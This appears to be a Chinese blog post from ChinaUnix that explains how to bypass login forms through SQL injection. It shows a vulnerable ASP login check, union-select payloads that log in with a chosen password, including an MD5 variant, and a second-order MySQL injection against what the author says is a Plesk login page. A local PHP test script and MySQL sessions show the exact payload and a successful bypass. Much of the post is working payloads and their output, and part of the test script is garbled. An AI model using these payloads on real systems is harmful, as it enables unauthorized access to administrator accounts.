Chinaunix首页 | 论坛 | 博客
  • 博客访问: 525545
  • 博文数量: 33
  • 博客积分: 3755
  • 博客等级: 中校
  • 技术积分: 496
  • 用 户 组: 普通用户
  • 注册时间: 2009-11-24 23:24
文章存档

2012年(14)

2011年(11)

2010年(7)

2009年(1)

分类: WINDOWS

2010-11-02 15:03:15

—————————asp代码—————————————–

username = request.form("username") password = request.form("password ") set rs=server.createobject("adodb.recordset") sql = "select [password] from admin where UserName='"&username&"'" rs.open sql,conn,1,3 If password = rs("password") then …’登陆成功 End if ——————————————————————————————————–

现在很多站点都是这种验证方式,用’ or ‘1′=’就不行了。比如这个站

用户名处输入一个单引号出错(有的时候也不一定出错),然后’ order by 2–正确 ,’ order by 3– 正确,’ order by 4–出错,只有3列,用户名输入用’union select 1,1,1– ,因为用户名没有为空的记录,所以union出来的所有字段值都是1,密码再填1登陆进去了…..

还有一种验证方式密码有md5比较,所以’union select 1,1,1……当中用1的md5值替换其中一个1(其中一个是密码字段),密码填1依然可以绕过。

如果是mysql的话可以搞二次攻击,以下是2月文章:

今天看到这个帖子,佩服各牛突然觉得这个Mysql + plesk 怎么有点鸡肋。我没有源码,只好通过出错信息来fuzzer。没想到一下就YY了半天。。。
看出错信息:
DB query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’;–” at line 1
———————- Debug Info ——————————-
0: plib\common_func.php3:243
db_query(string ’select id from admin_aliases where login=” union select login from admin_aliases;–”)


1: plib\class.AdminAlias.php:313
AdminAlias::findId(string ” union select login from admin_aliases;–’)


2: plib\cmd_loginup.php:147
createSession(string ” union select login from admin_aliases;–’, string ’******************************************’)


3: htdocs\login_up.php3:27


从SQL语句中可以大概猜测,这个login是字符类型的,而ID确是int类型,在MSSQL中union通过显错来获取信息可以证明这一点。根据大多数的web程序来推测的话,验证过程大概是这样。

1.通过用户名到数据库里寻找到该用户的ID值进行第一步判断。

2.找到了,再用这个ID值去找管理员的信息,可以使密码,也可以是*了,呵呵。

3.对提交的密码进行加密,和上一个结果集比对

令人高兴的是,这个系统大方的给了我单引号用,单咋一看,我们union控制结果集来绕过验证的常规思路似乎行不通。因为第一步只查找了那该死的 ID。MSSQL报错。。报错。。那么MSSQL是个严谨的绅士,那MYSQL呢,我印象里他是个对类型不敏感的小流氓。这让人兴奋,我写了个小脚本来模 拟这种“鸡肋”登陆注入的验证过程。
test.php
 

”; $result = mysql_query($query) or die(‘Query failed: ’ . mysql_error()); $line = mysql_fetch_array($result,MYSQL_ASSOC);   $user_id = $line[id];   $query = ”SELECT * FROM admin where id=$user_id”; echo ”执行的SQL语句为:$query
”; $result = mysql_query($query) or die(‘Query failed: ’ . mysql_error()); $line = mysql_fetch_array($result,MYSQL_ASSOC);   //验证开始 if ($line[pwd] == $pwd){ echo ”验证成功!
”; } else { echo ”验证失败!
”; }   mysql_free_result($result); mysql_close($link); ?> login.htm
 



很简陋哈,呵呵。先让我们看看mysql里的设置。
mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
ERROR 1050 (42S01): Table ’admin’ already exists
mysql> drop table admin;
Query OK, 0 rows affected (0.03 sec)

mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
Query OK, 0 rows affected (0.08 sec)

mysql> insert into admin values(‘admin’,'fuckme’,1);
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+——-+——–+——+
uid pwd id
+——-+——–+——+
admin fuckme 1
+——-+——–+——+
1 row in set (0.00 sec)


测了下验证程序ok,来测试mysql 一下语句
mysql> select id from admin union select 1;
+——+
id
+——+
1
+——+
1 row in set (0.00 sec)

mysql> select id from admin union select ’fuckme,please’;
+—————+
id
+—————+
1
fuckme,please
+—————+
2 rows in set (0.02 sec)
很好,Mysql果然没让人失望,这样意味着我们能控制$line[id]这个值了,他传递给$user_id到了第二个SQL语句中。继续在mysql里意淫:
mysql> select id from admin union select ’0 union select 1,2,3#’;
+———————–+
id
+———————–+
1
0 union select 1,2,3#
+———————–+
2 rows in set (0.00 sec)


这个时候按照理论上讲 我们在用户名那里提交:
‘union select ’-1 union select 1,1,1#’# 密码填 1就可以验证成功了,这些推理过程不说了,我不能班门弄斧啊

程序输出:
执行的SQL语句为:

SELECT id FROM admin where uid=” and 1=2 union select ’-1 union select 1,1,1#’#’
执行的SQL语句为:

SELECT * FROM admin where id=-1 union select 1,1,1#
验证成功!


阅读(5830) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~